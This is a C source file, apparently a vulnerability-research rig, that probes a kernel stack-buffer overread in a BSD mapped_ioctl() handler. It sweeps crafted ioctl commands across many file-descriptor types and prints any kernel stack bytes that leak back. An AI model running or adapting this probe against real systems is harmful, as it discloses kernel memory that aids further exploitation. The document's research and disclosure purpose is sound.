DF-5841 / ioctl_scan.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | /* * DF-5841 rig: mapped_ioctl() stack-buffer overread reachability scan. * * sys/kern/sys_generic.c:mapped_ioctl() sizes the ioctl scratch buffer with * * if ((com & IOC_VOID) == 0 && size > sizeof(ubuf.stkbuf)) -> kmalloc(size) * else -> ubuf.stkbuf (128 bytes, kernel stack) * * but the copyout back to userland is guarded only by * * if (error == 0 && (com & IOC_OUT) != 0 && size != 0) * error = copyout(data, uspc_data, size); * * For com with BOTH IOC_VOID (0x20000000) and IOC_OUT (0x40000000) set and * IOCPARM_LEN(com) in (128, 8191], the kernel stack buffer is used and then * `size` (up to 8191) bytes are copied out => up to ~8 KB of adjacent kernel * stack disclosed. The copyout only happens if the underlying fo_ioctl() * returns 0 for the crafted command, so this rig sweeps fd types x cmd * groups x numbers looking for any success. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #define IOC_VOID 0x20000000UL #define IOC_OUT 0x40000000UL #define IOC_IN 0x80000000UL #define LEN 291 /* 128 < 291 <= 8191 */ static int fds[32]; static const char *names[32]; static int nfd; static void addfd(int fd, const char *n) { if (fd < 0) return; fds[nfd] = fd; names[nfd] = n; nfd++; } int main(void) { static unsigned char buf[8192]; int pfd[2]; int i, g, n, rc, err; unsigned long cmd; int hits = 0; addfd(open("/dev/null", O_RDWR), "/dev/null"); addfd(open("/dev/zero", O_RDONLY), "/dev/zero"); addfd(open("/dev/urandom", O_RDONLY), "/dev/urandom"); addfd(open("/dev/tty", O_RDWR|O_NONBLOCK), "/dev/tty"); addfd(open("/etc/rc", O_RDONLY), "vnode VREG"); addfd(open("/tmp", O_RDONLY), "vnode VDIR"); if (pipe(pfd) == 0) { addfd(pfd[0], "pipe-read"); addfd(pfd[1], "pipe-write"); } addfd(socket(AF_INET, SOCK_DGRAM, 0), "udp-socket"); addfd(socket(AF_INET, SOCK_STREAM, 0), "tcp-socket"); addfd(socket(AF_UNIX, SOCK_STREAM, 0), "unix-socket"); addfd(syscall(362, 0), "kqueue"); /* DF SYS_kqueue = 362 */ printf("fd types: %d\n", nfd); /* sweep: dir in {VOID|OUT, VOID|IN|OUT} x group 0..255 x num {0,1,127} */ for (i = 0; i < nfd; i++) { for (g = 0; g <= 255; g++) { for (n = 0; n <= 127; n += 127) { for (err = 0; err < 2; err++) { cmd = (err ? (IOC_VOID|IOC_IN|IOC_OUT) : (IOC_VOID|IOC_OUT)) | ((unsigned long)LEN << 16) | ((unsigned long)g << 8) | (unsigned long)n; memset(buf, 0x41, sizeof(buf)); rc = ioctl(fds[i], cmd, buf); if (rc == 0) { int j, nz = 0; hits++; printf("HIT fd=%s cmd=0x%lx rc=0\n", names[i], cmd); for (j = 8; j < LEN; j++) if (buf[j] != 0x41 && buf[j] != 0x00) nz++; printf(" non-marker bytes after " "ptr field: %d\n", nz); /* show first 64 raw bytes */ for (j = 0; j < 64; j++) printf("%02x", buf[j]); printf("\n"); } } } } } printf("done, hits=%d\n", hits); return (hits != 0); } |